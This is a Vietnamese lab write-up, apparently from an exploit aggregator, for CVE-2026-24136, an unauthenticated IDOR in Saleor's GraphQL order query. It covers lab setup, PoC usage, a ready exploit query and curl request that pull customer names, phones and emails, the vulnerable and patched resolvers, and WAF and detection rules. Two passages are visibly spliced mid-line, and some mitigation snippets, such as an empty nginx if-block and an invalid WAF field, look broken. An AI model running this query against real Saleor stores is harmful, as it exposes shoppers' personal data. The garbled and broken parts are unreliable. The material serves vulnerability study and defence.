Share
## https://sploitus.com/exploit?id=CFFDFA33-A926-5333-9A7E-5C544AED218A
# CVE-2026-24136 - Saleor GraphQL IDOR / Unauthenticated PII Exfiltration

## Tổng quan

| Trường | Chi tiết |
|---|---|
| **CVE ID** | CVE-2026-24136 |
| **Loại lỗ hổng** | IDOR - Authorization Bypass Through User-Controlled Key (CWE-639) |
| **Phần mềm** | Saleor e-commerce platform |
| **Phiên bản bị ảnh hưởng** | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| **Phiên bản đã vá** | 3.20.110 · 3.21.45 · 3.22.29 |
| **CVSS 3.1** | 7.5 HIGH (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`) |
| **CVSS 4.0** | 8.7 HIGH |
| **Tác động** | Unauthenticated actor đọc được PII (tên, địa chỉ, SĐT, email) của bất kỳ order nào |
| **Cần authentication?** | Không |

---

## Mô tả lỗ hổng

Saleor cung cấp một GraphQL API để quản lý đơn hàng thương mại điện tử. Query `order(id: $id)` cho phép lấy thông tin chi tiết của một order theo global ID. Trong các phiên bản bị ảnh hưởng, query này không kiểm tra xem người gọi có quyền xem order đó hay không.

Bất kỳ ai kể cả người dùng hoàn toàn ẩn danh, không có tài khoản đều có thể gọi query này và nhận về toàn bộ PII của khách hàng: email, họ tên, địa chỉ giao hàng, số điện thoại, lịch sử đăng nhập.

---

## Cấu trúc lab

```
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác
```

---

## Khởi động lab

### Yêu cầu

- Docker Desktop (Windows / macOS) hoặc Docker Engine (Linux)
- Python 3.8+
- `pip install requests`

### Windows (PowerShell)

```powershell
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1
```

### Linux / WSL / macOS (Bash)

```bash
chmod +x setup_lab.sh
./setup_lab.sh
```

### Thủ công

```bash
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='admin@example.com').exists() or \
   U.objects.create_superuser('admin@example.com', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py
```

**Endpoints sau khi khởi động:**

| Service | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | admin@example.com / admin |

---

## Sử dụng PoC

```bash
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor :")
```

Với orders trong Saleor 3.x:

```python
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
```

> Lưu ý: Saleor 2.x dùng integer sequential IDs (`Order:1`, `Order:2`, ...) nên dễ enumerate hơn.  
> Saleor 3.x chuyển sang UUID nên attacker cần có được UUID theo cách khác (email xác nhận đơn hàng, URL leak, v.v.).

### 2. Đoạn code gây lỗi

**File:** `saleor/graphql/order/resolvers.py`

```python
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
```

**File:** `saleor/graphql/order/schema.py`

```python
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào
```

### 3. GraphQL Query khai thác

Query gửi đi không có Authorization header:

```graphql
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
```

```bash
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"victim1@lab.local","billingAddress":{"phone":"+84901234567"}}}}
```

### 4. Attack Flow

```
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order
```

**File:** `saleor/graphql/order/schema.py`

```python
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )
```

### So sánh trước và sau patch

```
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "victim@example.com"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────
```

---

## Phân tích kỹ thuật chuyên sâu

### Tại sao patch trả `null` thay vì lỗi?

Returning `null` thay vì `PermissionDenied` cho unauthenticated requests là thiết kế có chủ đích:

- Nếu trả `PermissionDenied` → attacker biết order tồn tại (existence oracle)
- Nếu trả `null` → attacker không phân biệt được "không có quyền" và "không tồn tại"

Đây là kỹ thuật timing-safe existence check áp dụng ở tầng GraphQL.

### Tại sao authenticated user vẫn dùng `raise PermissionDenied`?

Vì khi đã đăng nhập, việc báo lỗi rõ ràng giúp debug. Existence oracle không còn là vấn đề vì:
1. Người dùng đã authenticated thường biết order của mình tồn tại
2. Attacker đã authenticated phải có account → có thể bị revoke, track, rate-limit

### Tại sao UUID khó enumerate hơn integer ID?

```
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Cần O(N) requests để enumerate N orders
  → Attacker có thể biết tổng số orders (bằng binary search)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Search space: 2^122 (UUID v4 có 122 bit ngẫu nhiên)
  → Brute force thực tế là bất khả thi
  → Nhưng ID vẫn bị lộ qua: order confirmation email, URL trong dashboard,
    API responses, logs → nếu attacker có được 1 ID, vẫn khai thác được
```

### CVSS Vector breakdown

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Attack Vector: Network      (khai thác qua internet)
AC:L  – Attack Complexity: Low      (không cần điều kiện đặc biệt)
PR:N  – Privileges Required: None   (không cần tài khoản)
UI:N  – User Interaction: None      (không cần nạn nhân tương tác)
S:U   – Scope: Unchanged            (chỉ ảnh hưởng Saleor API)
C:H   – Confidentiality: High       (toàn bộ PII bị lộ)
I:N   – Integrity: None             (không sửa được dữ liệu)
A:N   – Availability: None          (không DoS)
```

---

## Mitigation & Defense

### 1. Patch ngay lập tức (ưu tiên cao nhất)

```bash
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version

# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110"   # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45"   # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29"   # nếu đang dùng dòng 3.22.x
```

### 2. WAF Rule tạm thời (nếu chưa patch được ngay)

Chặn anonymous users gọi `order()` query:

```nginx
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
    # Nếu không có Authorization header và body chứa "order("
    if ($http_authorization = "") {
        # Chặn các query có dấu hiệu khai thác
        # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
    }
    proxy_pass http://saleor_api;
}
```

Với AWS WAF / CloudFront:

```json
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}
```

### 3. Rate Limiting

```nginx
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}
```

### 4. Monitoring / Detection

Dấu hiệu khai thác trong access logs:

```bash
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alert nếu > 20 requests từ 1 IP

# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)
```

Alert rule cho Grafana / Datadog:

```yaml
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"
```

---

## Dọn dẹp lab

```bash
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v

# Chỉ dừng containers (giữ data)
docker compose stop
```

---

## Tham khảo

- [Saleor Security Advisory](https://github.com/saleor/saleor/security/advisories)
- [OWASP - Broken Object Level Authorization (BOLA/IDOR)](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
- [Relay Global Object Identification Spec](https://relay.dev/graphql/objectidentification.htm)

---

> **Cảnh báo:** Lab này chỉ dành cho mục đích nghiên cứu, học tập và viết báo cáo bảo mật.  
> Không sử dụng PoC trên hệ thống thực tế mà không có sự cho phép bằng văn bản.